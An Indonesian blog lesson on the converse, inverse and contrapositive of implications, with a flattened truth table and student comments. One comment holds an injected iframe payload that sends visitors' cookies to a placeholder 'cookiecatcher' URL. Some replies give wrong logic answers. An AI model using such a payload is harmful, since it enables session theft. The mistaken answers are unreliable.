Rabu, 18 September 2013

Konvers, Invers dan Kontraposisi


Konvers, Invers dan Kontraposisi adalah bagian dari Implikasi seperti yang sudah di bahas di Logika Matematika.
Konvers, Invers dan Kontraposisi adalah suatu pernyataan Implikasi baru dari suatu pernyataan implikasi.
  1. Konvers adalah perubahan dari satu sistem ke sitem yang lain. Pernyataan q=>p disebut Konvers dari p=>q.
  2. Invers adalah Pembalikan suatu susunan dari suatu susunan yang lazim. Pernyataan ~p=>~q disebut Invers dari p=>q.
  3. Pernyataan ~q=>~p disebut Kontraposisi dari p=>q.
 nilai kebenaran Konvers, Invers  dan Kontraposisi dari Implikasi: 

p
q
Implikasi
Konvers
Invers
Kontraposisi


p=>q
q=>p
~p=>~q
~q=>~p
B
B
B
B
B
B
B
S
S
B
B
S
S
B
B
S
S
B
S
S
B
B
B
B


 Dari tabel diatas diketahui Implikasi ekuvalen dengan kontra posisi atau biasa ditulis dengan
 p=>q~q=>~p

Contoh: 
  • Implikasi: Jika hati tenang maka kita senang.
  • Konvers: Jika kita senang maka hati tenang.
  • Invers: jika hati tidak tenang maka kita tidak senang
  • Kontraposisi: Jika kita tidak senang maka hati tidak tenang.

Ditulis Oleh : Unknown // 21.52
Kategori:

29 komentar:

  1. Mau nnya dong kalo soal implikasinya p->~q atau sebaliknya konvers,invers,sama kontraposisinya gmn ? Mohon bantuannya

    BalasHapus
    Balasan
    1. Kalo g salah nih ya.. konversnya ~q->p inversnya q->~p kontraposisinya ~p->q..

      Hapus
    2. konversnya ~q->p inversnya ~p->q kontraposisi nya q->~p

      Hapus
  2. Kalo jika pv~q bernilai benar maka bgmn invers dr perny tsb?

    BalasHapus
    Balasan
    1. bukannya konvers inver kontraposisi dipakai untuk lambang implikasi doang yaa ?

      Hapus
    2. Pv~q equivalen dengan ~p => ~q
      Invers nya p=>q
      Konvenrsnya ~q=>~p
      Kontraposisinya q=>p

      Sekian

      Hapus
  3. kalau hubungan nya dengan tautologi dan kontradiksi maksudnya gimana ya ka? makasih :)

    BalasHapus
    Balasan
    1. Coba aja browsing soal tabel kebenaran disitu dah jelas apa yang kamu tanya

      Hapus
  4. Bang kalo jawaban dari invers dari pernyataan (p^~q)=>p apa bang

    BalasHapus
  5. klo ini gimna kk konvers invers kontraposisiny dari pv~(p^q)

    BalasHapus
  6. klo ini gimna kk konvers invers kontraposisiny dari pv~(p^q)

    BalasHapus
  7. di tugas sekolah saya, disuruh untuk mencantumkan alasan misalnya invers dari kalimat "jika harga beras naik maka petani senang" jawabannya "jika harga beras tidak naik maka petani tidak senang" nah dari jawaban itu kita disuruh mencantumkan alasan mengapa jawabannya itu, bisa bantu jawab kak?

    BalasHapus
  8. halo
    <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe>

    BalasHapus
  9. Seseorang berargumen:
    “Jika saya bersalah, maka saya harus dihukum. Saya tidak bersalah. Jadi saya tidak
    boleh dihukum”.
    Menurut Anda apakah argumen tersebut benar? Jelaskan!

    BalasHapus
  10. Maaf jika soalnya gini "jika ia seorang belanda maka ia orang eropa"
    Konvers dari kalimat di atas apa ya?

    BalasHapus
  11. kolom akhir pada proposisi majemuk (~p V q)^r

    BalasHapus
  12. kalau p^~q ekuivalen dengan ~(p->q) ekuivalen dengan p->~q. Bener ga ya kak itu?

    BalasHapus
  13. invers dari(p^~q)=>p itu (~pvq)=>~p. Bener ga kak?

    BalasHapus
  14. Tentukan konvers invers dan kontraposisi dari implikasi berikut:
    Jika mawar tidak berduri maka mawar tampak lebih cantik
    Jika Kemarau panjang maka petani tidak menanam jagung

    BalasHapus

 
Khamdani Aks. Diberdayakan oleh Blogger.